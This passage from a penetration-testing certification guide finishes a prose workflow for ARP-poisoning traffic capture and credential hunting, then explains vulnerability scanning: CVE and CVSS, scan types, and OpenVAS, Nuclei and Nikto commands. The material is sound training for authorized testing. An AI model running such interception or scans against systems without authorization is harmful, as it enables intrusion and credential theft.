The complete workflow for network eavesdropping in an authorized internal penetration test looks like this:

First, you verify you have network access to the target segment — either through physical access (your testing machine is connected to the network) or through a compromised machine that gives you routing access.

Second, if on a switched network without a SPAN port, you set up ARP poisoning to redirect traffic through your machine. You enable IP forwarding so the traffic continues to flow normally — the goal is to intercept, not disrupt.

Third, you start capturing with either Wireshark or tcpdump. If using tcpdump on a remote machine, you start it with output to a file.

Fourth, you let the capture run for a sufficient period to observe normal network activity. Business hours produce much richer captures than off-hours because users are actually doing things — browsing intranet sites, accessing file shares, authenticating to services.

Fifth, you analyze the capture using display filters in Wireshark — hunting for credentials, sensitive data, interesting protocol interactions, and evidence of security weaknesses.

Finally, you document your findings with packet captures and screenshots as evidence, clean up your ARP poisoning to restore normal network operation, and include the findings in your penetration test report.

Every cleartext credential found, every unencrypted sensitive data transmission, every protocol vulnerability revealed through traffic analysis is a documented finding with cryptographically robust evidence: the actual captured packets.

Module 3 — Section 3.3: Understanding the Art of Performing Vulnerability Scans

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Written to build deep understanding, not just tool familiarity.

3.3.1 Overview — What Vulnerability Scanning Actually Is
3.3.2 How a Typical Automated Vulnerability Scanner Works
3.3.3 The CVE and CVSS Systems — The Language of Vulnerability
3.3.4 Types of Vulnerability Scans
3.3.5 The Major Vulnerability Scanning Tools — Deep Comparison
3.3.6 Vulnerability Scanning with Kali Tools — Practical Reference
3.3.7 Challenges to Consider When Running a Vulnerability Scan
3.3.8 Vulnerability Scanning in the Penetration Testing Lifecycle
3.3.9 Interpreting and Acting on Scan Results

3.3.1 Overview — What Vulnerability Scanning Actually Is

The Gap Between Knowing What Is There and Knowing What Is Wrong

After active reconnaissance, you know what is on the network: which hosts are live, which ports are open, what services and versions are running, and what operating systems those hosts use. This is enormous progress — but it is only inventory. Knowing that Apache Tomcat 9.0.37 is running on port 8080 does not automatically tell you whether that specific version has any known security weaknesses, and if so, how severe they are and whether they are exploitable from the network.

Vulnerability scanning bridges this gap. It takes the inventory produced by reconnaissance and cross-references it against databases of known security weaknesses, asking a very specific question for each discovered asset: "Does this system or service have any known vulnerabilities that an attacker could exploit?"

The answer comes from matching what the scanner observes — software versions, protocol behaviors, configuration responses, service banners — against a continuously maintained database of known vulnerabilities. This database, at its foundation, is derived from the global CVE (Common Vulnerabilities and Exposures) system, maintained by MITRE and enriched by the National Vulnerability Database (NVD) at NIST.

Vulnerability Scanning vs. Penetration Testing — A Critical Distinction

This distinction is one of the most commonly misunderstood points in cybersecurity, and understanding it clearly is important both for passing certification exams and for being credible in professional conversations with clients.

Vulnerability scanning is automated and primarily passive in its impact. The scanner discovers and reports weaknesses. It does not prove that those weaknesses are actually exploitable, does not chain vulnerabilities together to achieve a larger goal, and does not demonstrate business impact. A scanner that finds Apache Struts version 2.3.5 will report CVE-2017-5638 (the Equifax breach vulnerability) — but it will not log in to the database, extract customer records, and demonstrate that a breach occurred.

Penetration testing takes vulnerability scan results as starting intelligence and then actively attempts to exploit those vulnerabilities. It confirms which reported vulnerabilities are actually exploitable in the specific environment, chains individual weaknesses into attack paths, pivots from one compromised system to the next, and ultimately produces evidence of what a real attacker could achieve. A penetration tester who finds CVE-2017-5638 will write and execute an exploit, gain a shell on the server, and demonstrate exactly what data is accessible.

The analogy that makes this concrete: vulnerability scanning is like a doctor looking at an X-ray and identifying where there might be fractures. Penetration testing is the doctor pressing on each suspected fracture point to determine which ones are actually broken and how seriously.

Both are essential. Organizations typically run vulnerability scans continuously or weekly, and penetration tests annually or after significant changes. The scans provide broad, frequent coverage; the penetration test provides depth and confirmation of real-world risk.

Where Vulnerability Scanning Sits in the Attack Lifecycle

In the penetration testing methodology, vulnerability scanning comes after active reconnaissance (which built the asset inventory) and directly informs the exploitation phase. The output of a well-executed vulnerability scan is essentially a prioritized shortlist of potential attack vectors, with the most severe and most easily exploitable vulnerabilities at the top.

A professional penetration tester does not run a vulnerability scan, stare at the output, and then immediately start exploiting everything with a CVSS score above 7. The scan output is a starting point — a candidate list that requires human analysis, verification, and strategic thinking before exploitation begins. Which vulnerabilities are actually reachable from the attacker's current position? Which have public exploits available? Which, if exploited, lead toward the engagement's target objectives? Which are likely false positives given the environment? Answering these questions requires the human expertise that automation cannot replace.

3.3.2 How a Typical Automated Vulnerability Scanner Works

The Architecture of a Vulnerability Scanner

Understanding how vulnerability scanners work at a mechanical level helps you interpret their output correctly, understand their limitations, and make better decisions about when and how to use them.

Every major vulnerability scanner — Nessus, OpenVAS, Nexpose, Qualys — shares the same fundamental architecture, even though their implementations differ. The architecture consists of four phases that happen in sequence during every scan.

Phase 1: Discovery and Asset Inventory

Before checking for vulnerabilities, the scanner must know what it is scanning. It performs its own host discovery and port scanning, essentially running a built-in version of what you would do manually with Nmap. It identifies which IP addresses are live, which ports are open, and which services are running. Many scanners use Nmap internally or a similar port scanning engine.

This phase is where the scanner builds its picture of the attack surface. For each discovered host and service, it prepares to execute the relevant vulnerability checks. It would be wasteful to run Apache-specific vulnerability checks against a host that only has Windows services running — the scanner's intelligence about what is running on each host determines which vulnerability checks are relevant.

Phase 2: Fingerprinting and Version Detection

With the open ports identified, the scanner sends protocol-specific probes to determine the exact software and version running on each port. It is doing the same work as Nmap's -sV flag but with a more comprehensive probe database and more sophisticated version extraction logic.

This phase is where the scanner determines that port 8080 is running Apache Tomcat 9.0.37 (not just "something HTTP"), that port 22 is running OpenSSH 8.2p1 on Ubuntu 20.04.5 (not just "something SSH"), and that port 445 is running Windows Server 2016 SMB (not just "Windows SMB"). The more precisely it can determine versions, the more precisely it can match against the vulnerability database.

Phase 3: Vulnerability Checks (Plugins/NVTs)

This is the core of the scanner's work. For each discovered service with a determined version, the scanner consults its vulnerability database and executes the relevant checks. These checks are called "plugins" in Nessus and "Network Vulnerability Tests" (NVTs) in OpenVAS.

Each plugin checks for a specific vulnerability or class of vulnerabilities. Some checks are entirely passive — the scanner simply compares the detected version number against a range of known-vulnerable versions. If Apache Tomcat 9.0.37 is detected, and the vulnerability database knows that versions 9.0.0 through 9.0.43 are vulnerable to CVE-2021-41079, the plugin reports a match.

Other checks are more active — the scanner sends specific probe packets designed to elicit responses that reveal whether a vulnerability exists. For Heartbleed, the scanner sends a specially crafted TLS heartbeat request and measures the response size; a response that is larger than the request indicates the vulnerability is present and the server is returning server memory content. For EternalBlue, the scanner sends a specific SMB negotiation sequence and analyzes the response.

Some checks are behavioral — they attempt to detect vulnerability by observing how the service behaves under specific conditions. These are more reliable than pure version-matching but more likely to cause service disruption.

Phase 4: Reporting and Scoring

With all checks complete, the scanner compiles its findings and assigns severity scores using the CVSS framework. It generates a report that lists each discovered vulnerability with its CVE identifier, CVSS score, affected asset, description of the vulnerability, evidence that the scanner used to determine the vulnerability was present, and remediation guidance.

The quality of this report is where scanners differentiate themselves significantly. A well-configured scanner with authenticated access to the target systems generates reports that are accurate, prioritized, and actionable. A poorly configured scanner running unauthenticated produces reports full of version-matched findings that may or may not be accurate, requiring significant manual verification.

The Plugin/NVT Database — The Scanner's Knowledge Base

The vulnerability database is the scanner's brain. A scanner that has not been updated in six months is a scanner that does not know about the past six months' worth of CVEs — which could be thousands of vulnerabilities. This is not a hypothetical concern: in 2024, NIST's NVD recorded over 29,000 new CVE entries. Keeping scanner databases current is an operational requirement, not an optional maintenance task.

Nessus calls its vulnerability checks "plugins." As of 2024, Nessus has over 200,000 plugins. These plugins are written in a domain-specific language called NASL (Nessus Attack Scripting Language) and distributed through Tenable's update feed. A Nessus subscription includes daily plugin updates — critical for maintaining coverage of newly disclosed vulnerabilities.

OpenVAS uses "Network Vulnerability Tests" (NVTs), also written in NASL. The community feed contains over 160,000 NVTs as of mid-2024. The commercial Greenbone Enterprise feed contains additional tests not available in the community version.

The scanner's plugin/NVT database is essentially a structured library of knowledge about every known vulnerability, organized by affected software, version ranges, and check methodology. When you see Nessus report CVE-2021-44228 (Log4Shell), it is because a plugin exists that knows exactly how to probe for that vulnerability and what a positive response looks like.

3.3.3 The CVE and CVSS Systems — The Language of Vulnerability

CVE — Common Vulnerabilities and Exposures

CVE is the global standard for identifying and naming individual vulnerabilities. Every known vulnerability in publicly released software receives a CVE identifier — a unique reference number that lets security teams, vendors, researchers, and tools speak about a specific vulnerability without ambiguity.

The format is straightforward: CVE-[year]-[sequence number]. CVE-2021-44228 is vulnerability number 44228 discovered and reported in 2021. The year component does not necessarily reflect when the vulnerability was exploited or even when it was first introduced into software — it reflects when the CVE was assigned, which happens when the vulnerability is publicly disclosed or reported to MITRE.

CVE is maintained by MITRE Corporation under sponsorship from the U.S. Department of Homeland Security. The assignment process involves CVE Numbering Authorities (CNAs) — organizations that have been authorized to assign CVE numbers for vulnerabilities in their own products or domains. Microsoft, Google, Apple, Cisco, and hundreds of other organizations are CNAs. When they discover a vulnerability in their own software, they assign it a CVE number as part of their responsible disclosure process.

The National Vulnerability Database (NVD) at NIST enriches CVE records with additional data: CVSS scores, vulnerability classifications (using CWE — Common Weakness Enumeration), links to vendor advisories, and reference URLs. When a security analyst or a vulnerability scanner looks up CVE-2021-44228, they are typically consulting the NVD record for the full picture.

Understanding CVE identifiers is fundamental because they are the common language of vulnerability management. When a client's remediation team asks "which CVEs does this finding address?", when a patch management system tracks patched vs. unpatched CVEs, when a scanner report lists findings by CVE — all of these conversations are only possible because of the CVE system.

Some key CVEs that every cybersecurity professional should know:

CVE-2017-0144 (EternalBlue / MS17-010) — A vulnerability in Windows SMBv1 that allows remote code execution without authentication. This is the vulnerability used by WannaCry ransomware (May 2017) and NotPetya (June 2017). The NSA developed the original exploit, which was leaked by the Shadow Brokers group. Despite Microsoft releasing a patch in March 2017, millions of unpatched machines were compromised.

CVE-2021-44228 (Log4Shell) — A critical vulnerability in Apache Log4j 2, a widely used Java logging library. It allows any input controlled by an attacker that gets logged to trigger JNDI lookups that execute arbitrary code. Because Log4j is embedded in thousands of commercial and open-source applications, the attack surface was enormous. CVSS score: 10.0. Disclosed December 9, 2021; mass exploitation began within hours.

CVE-2014-0160 (Heartbleed) — A buffer over-read vulnerability in OpenSSL's implementation of the TLS heartbeat extension. It allows reading up to 64KB of server memory per request, potentially exposing private keys, session tokens, and user credentials. CVSS score: 7.5. Affected an estimated 17% of all HTTPS servers when disclosed in April 2014.

CVE-2017-5638 (Apache Struts RCE) — A remote code execution vulnerability in Apache Struts 2 (specifically the Jakarta Multipart Parser). Used to breach Equifax in 2017, exposing the personal data of 147 million people. CVSS score: 10.0. A patch was available months before the Equifax breach — the organization simply had not applied it.

CVE-2019-0708 (BlueKeep) — A critical remote code execution vulnerability in Windows Remote Desktop Services. Exploitable without authentication on Windows XP, Vista, 7, Server 2003, and Server 2008. CVSS score: 9.8. Described by Microsoft as "wormable" — capable of spreading automatically between systems without user interaction.

These examples illustrate a recurring pattern: critical vulnerabilities (CVSS 9.0+) that are exploitable without authentication over the network represent the highest-priority findings in any vulnerability assessment.

CVSS — Common Vulnerability Scoring System

CVSS is the framework used to assign severity scores to vulnerabilities. Every vulnerability scanner, every security advisory, and every NVD database record uses CVSS to communicate how severe a vulnerability is. Understanding CVSS deeply is not optional for a cybersecurity professional — it is the vocabulary of severity.

CVSS was developed by the National Infrastructure Advisory Council (NIAC) and is now maintained by FIRST (Forum of Incident Response and Security Teams). The current version in widespread use is CVSS v3.1 (released June 2019), with CVSS v4.0 released in November 2023 beginning to see adoption.

The Three Score Groups

CVSS produces not one score but three distinct scores, each serving a different purpose.

The Base Score represents the intrinsic characteristics of the vulnerability — how it behaves, how exploitable it is, and what impact successful exploitation has. The Base Score does not change based on time, environment, or context. It is calculated by the vendor or security researcher when the vulnerability is disclosed and serves as the universal severity anchor. When people say "this vulnerability has a CVSS score of 9.8," they are almost always referring to the Base Score.

The Temporal Score modifies the Base Score based on factors that change over time. Has a public exploit been released? Is a patch available? How confident is the security community that this vulnerability actually exists? A vulnerability might start with a Base Score of 9.8 but have a lower Temporal Score initially because no public exploit exists and the vulnerability is only theoretically confirmed. As exploit code appears and exploitation in the wild is confirmed, the Temporal Score approaches the Base Score. This score helps organizations understand urgency — a vulnerability with confirmed active exploitation is more urgent than one that is only theoretically exploitable.

The Environmental Score allows an organization to customize the score based on their specific environment. A vulnerability in a web server component might have a high Base Score for confidentiality impact — but if your organization does not store sensitive data on that server, the actual confidentiality risk to your organization is lower. The Environmental Score lets you reflect this reality in your risk prioritization.

The Base Score Metrics — Understanding Each Component

The Base Score is calculated from eight metrics, organized into Exploitability metrics (how an attacker uses the vulnerability) and Impact metrics (what happens when exploitation succeeds).

Attack Vector (AV) describes how the attacker reaches the vulnerable component. Network (AV:N) means the attacker can exploit it from anywhere on the internet — the highest severity. Adjacent (AV:A) means the attacker must be on the same local network segment. Local (AV:L) means the attacker needs a local shell account or physical access. Physical (AV:P) means physical access to the hardware is required — the lowest severity. A remote code execution vulnerability in a publicly accessible web server is AV:N. A privilege escalation vulnerability that requires a local shell first is AV:L.

Attack Complexity (AC) describes conditions outside the attacker's control that must exist for exploitation to succeed. Low (AC:L) means the vulnerability can be exploited reliably on any vulnerable system — no special conditions, no timing requirements. High (AC:H) means exploitation requires circumstances that cannot be guaranteed, such as a race condition that requires precise timing, or a man-in-the-middle position that must be established first. The difference between AC:L and AC:H can significantly affect a vulnerability's practical exploitability — a race condition with a 1-in-1000 success rate is very different from a vulnerability exploitable 100% of the time.

Privileges Required (PR) describes the level of access the attacker needs before exploitation. None (PR:N) means no authentication or account is needed — the attacker can exploit directly without any prior access. Low (PR:L) means a standard user account is needed. High (PR:H) means an administrator account is needed. PR:N vulnerabilities — those exploitable without any authentication — are the most dangerous class because they require no prior compromise.

User Interaction (UI) describes whether exploitation requires action from a user other than the attacker. None (UI:N) means the attacker can exploit autonomously without any victim involvement. Required (UI:R) means a user must take an action — click a link, open a file, visit a page — for exploitation to succeed. Vulnerabilities with UI:N are more dangerous because they can be exploited at scale without requiring any social engineering or victim cooperation.

Scope (S) is one of the subtler CVSS concepts. It addresses whether a vulnerability in one component can impact resources in a different security domain. Unchanged (S:U) means exploitation only affects the vulnerable component itself. Changed (S:C) means exploitation allows impact to resources governed by a different security authority — for example, a vulnerability in a web application sandbox that allows escaping the sandbox and affecting the underlying operating system. A scope change dramatically increases a vulnerability's severity because it enables lateral movement and privilege escalation beyond the initially compromised component.

Confidentiality Impact (C), Integrity Impact (I), and Availability Impact (A) each measure the impact on the corresponding security property if the vulnerability is successfully exploited. Each is scored as None (no impact), Low (some impact with limited scope), or High (total loss — complete data exposure, complete data modification, or complete denial of service). A vulnerability that results in complete data loss on all aspects (C:H, I:H, A:H) is the most severe from an impact perspective.

Reading a CVSS Vector String

CVSS scores are accompanied by a vector string that encodes all the metric values in a compact, standardized format. The vector string allows you to understand exactly why a vulnerability received its score.

For CVE-2021-44228 (Log4Shell), the CVSS v3.1 vector is:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Reading each component: Network attack vector (reachable from the internet), Low complexity (reliably exploitable), No privileges required (anonymous exploitation), No user interaction needed, Scope Changed (sandbox escape enabling OS-level impact), and High impact on all three CIA properties. This is the most dangerous possible combination of metrics — and it produced a score of 10.0, the maximum.

Compare this to a hypothetical local privilege escalation:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

This requires local access (AV:L) and a standard user account (PR:L), but once those prerequisites are met, it is reliable (AC:L), requires no victim interaction (UI:N), does not escape its security scope (S:U), and results in full system compromise (C:H/I:H/A:H). Score: approximately 7.8 — High, but significantly less critical than Log4Shell because an attacker must already have local access.

Severity Ranges — How to Use CVSS Scores for Prioritization

CVSS Score Range	Severity Label	Typical Priority
9.0 – 10.0	Critical	Immediate — patch within 24–48 hours; investigate exploitation immediately
7.0 – 8.9	High	Urgent — patch within 7–14 days
4.0 – 6.9	Medium	Important — patch within 30 days
0.1 – 3.9	Low	Plan — patch in next maintenance cycle
0.0	None / Informational	Track — no action required

These timelines represent reasonable targets, not universal rules. An organization processing payment card data (PCI DSS scope) might have more aggressive patching requirements. A critical infrastructure organization might apply different risk weighting to availability versus confidentiality. The CVSS score is an input to prioritization, not a complete prioritization decision on its own.

CVSS v4.0 — What Changed in the Latest Version

CVSS v4.0, released November 2023, introduced several improvements for completeness:

The Temporal metrics were renamed to "Threat Metrics" with a cleaner structure. A new metric called "Attack Requirements" was added to complement "Attack Complexity" — separating conditions about the environment from conditions about attack execution. Supplemental metrics were introduced to provide additional context without affecting the score: Automatable (can this be weaponized at scale?), Recovery (how hard is it to restore after exploitation?), Safety (does this affect human safety?), and Value Density (how much valuable data is in the impacted component?).

Most current tooling and CVE records still use CVSS v3.1, but CVSS v4.0 adoption is growing and will become the standard over the next few years.

3.3.4 Types of Vulnerability Scans

Not All Scans Are the Same — Choosing the Right Approach

Just as there are different types of nmap scans suited to different situations, there are multiple types of vulnerability scans, each with different levels of access, different levels of accuracy, and different operational implications. Choosing the wrong scan type leads to either inaccurate results or unnecessary operational risk.

Unauthenticated (External / Black Box) Scanning

An unauthenticated scan runs without providing any credentials to the target systems. The scanner operates purely from the network perspective — it can see whatever an external, unprivileged attacker could see. It sends probes over the network, receives responses, and draws conclusions from what those responses reveal.

Think of this as a security inspector walking around the outside of a building, looking through windows, testing doors from the outside, checking whether the locks look functional — but never going inside. The inspector can identify quite a lot from this external perspective: broken windows, unlocked doors, outdated security notices on the door, visitors going in and out. But they cannot see the filing cabinets inside, check whether confidential documents are properly secured, or audit the internal access control system.

What unauthenticated scans find well:

Services listening on open ports (web servers, SSH, FTP, databases exposed to the network)
Version-based vulnerabilities in services that announce their version in banners or response headers
Default credentials on network services (the scanner can attempt to authenticate with known defaults)
Protocol-level vulnerabilities (TLS weaknesses, SMB version vulnerabilities, DNS misconfigurations)
Network-level misconfigurations (open ports that should be closed, unnecessary services)
Web application vulnerabilities accessible without authentication (publicly exposed admin panels, login page bypasses)

What unauthenticated scans miss:

Vulnerabilities in software that does not expose version information over the network
Unpatched software on workstations and servers (patch level requires authenticated access to check)
Configuration weaknesses inside the operating system (registry settings, file permissions, service configurations)
Installed software with known vulnerabilities that does not run a network service
Local privilege escalation vulnerabilities
Database access control weaknesses (requires database credentials)

The vulnerabilities found by unauthenticated scans tend to be the most severe from a network security perspective — they are accessible to anyone who can reach the network. In many ways, these are the most critical findings because they represent zero-barrier-to-entry attack paths.

Authenticated (Credentialed / Internal) Scanning

An authenticated scan provides the scanner with valid credentials — a username and password (or SSH key, or Windows domain account, or database credentials) that allow it to log in to each target system and perform checks from within the authenticated session.

To extend the building inspection analogy: the inspector now has a master key. They can open every door, examine every filing cabinet, check every room's configuration, and audit the complete internal state of the building. The inspection is far more thorough.

What authenticated scans find that unauthenticated scans miss:

The complete list of installed software and their versions (cross-referenced against CVE database)
Missing patches across the entire installed software inventory
Operating system misconfigurations (overly permissive file permissions, insecure registry settings, unnecessary services running)
User account issues (disabled accounts with active sessions, accounts with never-expiring passwords, local administrators)
Password policy compliance (password history enforcement, lockout threshold, complexity requirements)
Configuration compliance (CIS Benchmarks, DISA STIGs, PCI DSS controls)
Database security settings accessible only with database credentials
Application configuration weaknesses not visible from the network

The tradeoff: authenticated scanning requires obtaining and securely managing credentials for every system to be scanned. In large environments, this is a significant coordination effort. It also requires ensuring the scanner's account has sufficient privileges to perform the checks — typically a domain administrator account for Windows environments, or root/sudo access for Linux.

Credential storage and security for authenticated scanning: The credentials used for scanning must be protected as carefully as any privileged account. A compromised credential store that contains domain admin credentials for hundreds of systems is a catastrophic security incident. Enterprise vulnerability management platforms use encrypted credential vaults, require authentication before credential retrieval, and maintain audit logs of every use.

Network Scanning

Network scanning focuses on the network infrastructure layer — the services, ports, and protocols visible across the network. This is what most people mean when they say "vulnerability scan" in a general context. The scanner probes network services, identifies versions, and checks for known network-level vulnerabilities.

Network scanning is the foundation of most vulnerability assessment programs. It covers web servers, mail servers, SSH services, database listeners, file sharing services, and any other network-accessible service. It is the type of scan most directly relevant to penetration testing reconnaissance because it identifies the external attack surface.

Web Application Scanning

Web application scanning is a specialized discipline focused specifically on vulnerabilities in web applications — not the web server infrastructure (Apache, nginx, IIS) but the application running on top of it.

A web application scanner does not just probe ports and check service versions. It crawls the application, discovering all pages, forms, parameters, and API endpoints. For each discovered input point, it sends specially crafted payloads designed to trigger specific vulnerability classes: SQL injection payloads that attempt to manipulate database queries, Cross-Site Scripting (XSS) payloads that attempt to inject malicious JavaScript into page output, path traversal payloads that attempt to read files outside the web root, command injection payloads that attempt to execute operating system commands.

Web application vulnerabilities are classified by the OWASP Top 10 — a regularly updated list of the most critical web application security risks (covered extensively in Module 6). The primary web application scanners are:

OWASP ZAP (Zed Attack Proxy) — Free and open-source. The most widely used web application scanner for penetration testing. Has both automated scanning and manual testing proxy capabilities.

Burp Suite — The industry standard commercial tool (with a free Community edition). More sophisticated than ZAP for manual testing, with powerful active scanner capabilities in the Professional edition.

Nikto — A simpler, faster web server scanner focused on common misconfigurations and known dangerous files, not deep application-level testing.

Agent-Based Scanning

Agent-based scanning involves installing a lightweight software agent on each managed endpoint. The agent performs vulnerability checks locally and reports findings to a central management platform.

The advantage over traditional network scanning is accuracy: the agent has complete, authenticated access to the system from within. It can see every installed software package, every running process, every configuration file. There are no network-based detection limitations, no issues with services that hide their version information, no problems with firewall rules that block scanner traffic.

The disadvantage is the requirement to deploy and maintain agents across every endpoint — which in large enterprises with thousands of endpoints is a significant operational commitment. Agentless scanning (traditional network scanning with credentials) is simpler to manage but less thorough.

Enterprise platforms like Tenable.sc, Qualys VMDR, and Rapid7 InsightVM support both agent-based and agentless scanning, often using a hybrid approach where agents are deployed on workstations and laptops (which are frequently disconnected from the corporate network) while servers are scanned agentlessly over the network.

Compliance Scanning

Compliance scanning evaluates systems against specific security benchmarks and regulatory requirements, rather than (or in addition to) looking for CVE-based vulnerabilities.

The CIS Benchmarks (Center for Internet Security) are the most widely referenced configuration standards. There are CIS Benchmarks for Windows operating systems, Linux distributions, major cloud platforms, databases, web servers, and network devices. Each benchmark contains hundreds of specific configuration checks — whether audit logging is enabled, whether the firewall is configured correctly, whether specific registry values are set appropriately, whether unused services are disabled.

PCI DSS compliance scanning verifies that payment card data environments meet all applicable PCI DSS requirements. HIPAA compliance scanning checks for HIPAA Security Rule requirements. DISA STIGs (Defense Information Systems Agency Security Technical Implementation Guides) are used for U.S. federal government systems.

Compliance scan results are typically expressed as "pass/fail" against each control, rather than CVSS scores. The output is a compliance percentage and a list of failing controls with remediation guidance — precisely the format needed for compliance reporting.

3.3.5 The Major Vulnerability Scanning Tools — Deep Comparison

Nessus (Tenable)

What it is: Nessus, developed by Tenable, is the most widely deployed commercial vulnerability scanner in the world. Since its initial release in 1998, it has become the industry benchmark — the scanner most frequently mentioned in job listings, most commonly encountered in enterprise environments, and most referenced in certification curricula.

The versions:

Nessus Essentials is the free tier, limited to 16 IP addresses. It uses the same interface as the professional versions and is the appropriate starting point for students and home lab users. It is genuinely Nessus, not a crippled demo — the scan quality is identical, just the IP count is limited.

Nessus Professional is the paid single-scanner product used by individual consultants and small security teams. As of 2024, it costs approximately $3,990 per year. It provides unlimited IP scanning, advanced reporting, and the full plugin library.

Tenable.sc (formerly SecurityCenter) is the enterprise platform for large organizations running multiple Nessus scanners. It provides centralized management, dashboards, trend tracking, and role-based access control across many scanners and many business units.

Tenable.io is Tenable's cloud-based platform, which adds continuous monitoring, agent-based scanning, web application scanning, and cloud infrastructure scanning in a unified SaaS platform.

Why Nessus is the standard: Nessus has the largest plugin library (200,000+), the most mature update cycle for new vulnerability checks, and the most polished interface for report generation. It is also the scanner most commonly found in large enterprise environments, which means knowing Nessus is directly career-relevant. Many job listings for vulnerability management roles list Nessus experience as a requirement.

Its limitations: The primary limitation is cost — Nessus Professional is expensive for individual use. Detection accuracy has also been scrutinized: a 2024 benchmark study found that Nessus detects for a larger percentage of known vulnerabilities than it successfully identifies in practice, suggesting some detection gaps between plugin availability and actual detection capability. False positives exist in every scanner, but Nessus's version-matching approach can produce findings for software that has been patched at the package level even though the version number did not change.

OpenVAS / Greenbone (GVM)

What it is: OpenVAS (Open Vulnerability Assessment System) is the most significant free, open-source vulnerability scanner. It originated as a fork of the Nessus codebase in 2005 when Tenable closed Nessus's source code. Since then, it has been maintained and developed independently. Today, OpenVAS is the scanning engine at the heart of the Greenbone Vulnerability Management (GVM) platform, maintained by Greenbone Networks.

The architecture: OpenVAS does not stand alone — it is one component in the GVM stack. The full stack consists of the OpenVAS Scanner daemon (ospd-openvas) which runs the actual checks, the Greenbone Vulnerability Manager (GVM) API layer which manages scans and stores results, and the Greenbone Security Assistant (GSA) web interface which provides the user-facing interface. For beginners, "OpenVAS" is often used to refer to the entire GVM stack.

The community vs. commercial feed: The Greenbone Community Feed is free and contains over 160,000 NVTs (Network Vulnerability Tests). The Greenbone Enterprise feed (subscription) contains additional tests, including more coverage of enterprise technologies and compliance checks. For learning and lab use, the community feed is comprehensive.

Why OpenVAS matters: It is free. For security students, independent consultants, and organizations with budget constraints, this is decisive. The scan quality for the most critical, high-CVSS vulnerabilities is comparable to commercial scanners. A 2024 analysis found OpenVAS leads commercial scanners in remote check coverage for medium-severity CVEs, while Nessus Professional has broader coverage for the most critical remote vulnerabilities. The gap is meaningful but not absolute.

Installation and setup: OpenVAS requires more setup than Nessus. On Kali Linux, the installation is managed through the package manager, but the initial feed synchronization (downloading all 160,000+ NVT definitions) takes significant time and the GVM stack has dependency requirements that need careful management. The effort is worthwhile for a learning environment.

# Installation on Kali Linux
sudo apt update && sudo apt install -y gvm

# Initial setup (downloads feeds, creates users, configures certificates)
# This takes 15-30 minutes on the first run
sudo gvm-setup

# Start GVM services
sudo gvm-start

# Access the web interface
# Opens at: https://127.0.0.1:9392
# Default credentials are shown during setup (generated randomly)

# Check if everything is running correctly
sudo gvm-check-setup

# Update the NVT feed (run regularly — daily ideally)
sudo greenbone-nvt-sync
sudo greenbone-feed-sync --type SCAP
sudo greenbone-feed-sync --type CERT

Nuclei (ProjectDiscovery)

What it is: Nuclei is a modern, template-based vulnerability scanner developed by ProjectDiscovery. Unlike Nessus and OpenVAS which use proprietary plugin/NVT systems, Nuclei uses YAML-formatted templates that define vulnerability checks in a simple, readable format. The template library is maintained as a public GitHub repository with thousands of community-contributed templates, and adding new vulnerability checks is as simple as writing a YAML file.

Why Nuclei is rapidly growing in importance: Nuclei excels at a different scan category than OpenVAS or Nessus. While the traditional scanners focus on infrastructure-level vulnerabilities (CVE-based version matching, OS configuration checks), Nuclei specializes in web application and API vulnerability detection, subdomain takeover checks, exposure detection (publicly accessible sensitive files, admin panels, backup files), and CVE-specific probe-based checks.

Its speed is exceptional — Nuclei is designed for high-concurrency scanning and can scan thousands of targets rapidly. For bug bounty hunters, red teamers, and penetration testers dealing with large external attack surfaces, Nuclei has become a standard part of the workflow.

The template ecosystem: The official Nuclei template library contains thousands of templates organized by category: CVEs, exposures, misconfiguration, technologies, default-logins, takeovers, and more. When a new CVE is disclosed, community members often publish Nuclei templates within hours — sometimes before commercial scanners have updated their plugin databases.

# Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Or on Kali Linux
sudo apt install nuclei

# Update templates (run regularly)
nuclei -update-templates

# Basic scan against a target
nuclei -u https://target.com

# Scan with specific template categories
nuclei -u https://target.com -tags cve
nuclei -u https://target.com -tags exposure
nuclei -u https://target.com -tags default-login

# Scan with specific severity levels
nuclei -u https://target.com -severity critical,high

# Scan a list of targets
nuclei -list targets.txt -tags cve -severity critical

# Scan for a specific CVE
nuclei -u https://target.com -id CVE-2021-44228

# Output to file
nuclei -u https://target.com -o nuclei_results.txt -json

Nikto

What it is: Nikto is a free, open-source web server scanner with a narrow but well-executed purpose: it scans web servers specifically for known dangerous files and programs, outdated server software and components, and server configuration misconfigurations.

Nikto is not a deep application-layer scanner in the way Burp Suite or OWASP ZAP are. It does not test for SQL injection by trying injection payloads in form fields. What it does is check for thousands of specific files and paths that should not be publicly accessible — backup files, configuration files, test scripts, old CMS installations, and similar — and report any that respond with content rather than a 404.

Nikto also checks HTTP response headers for security misconfigurations: missing security headers like Content-Security-Policy, X-Frame-Options, and Strict-Transport-Security; server headers that unnecessarily disclose version information; and cookie security flags.

For a penetration tester, Nikto is a quick first pass against any discovered web server — run it early, get a fast overview of low-hanging fruit and obvious misconfigurations, then move to deeper tools.

# Basic Nikto scan
nikto -h http://target.com
nikto -h https://target.com

# Scan specific port
nikto -h http://target.com -p 8080

# With SSL
nikto -h https://target.com -ssl

# Verbose output
nikto -h http://target.com -Display V

# Save output
nikto -h http://target.com -o nikto_results.html -Format htm
nikto -h http://target.com -o nikto_results.xml -Format xml

# Specify specific tests to run
nikto -h http://target.com -Tuning 9   # Run SQL injection tests
nikto -h http://target.com -Tuning 4   # Run XSS tests

# Use with proxy (for interception in Burp Suite)
nikto -h http://target.com -useproxy http://127.0.0.1:8080

Qualys VMDR and Other Enterprise Platforms

Qualys Vulnerability Management, Detection and Response (VMDR) is one of the leading cloud-based enterprise vulnerability management platforms. Unlike Nessus (which runs as a local scanner) or OpenVAS (which is self-hosted), Qualys is delivered entirely as a cloud service. Organizations deploy lightweight Qualys Cloud Agents on managed endpoints and Qualys Virtual Scanners in internal network segments.

Qualys is mentioned in this context because it is extremely common in large enterprise environments and frequently referenced in job listings for vulnerability management roles. If you interview for an enterprise security position, Qualys experience may be listed as a requirement. Understanding what it does conceptually — cloud-based, agent-supported, continuous scanning with compliance policy checking and asset discovery — is relevant professional knowledge even if hands-on access requires a subscription.

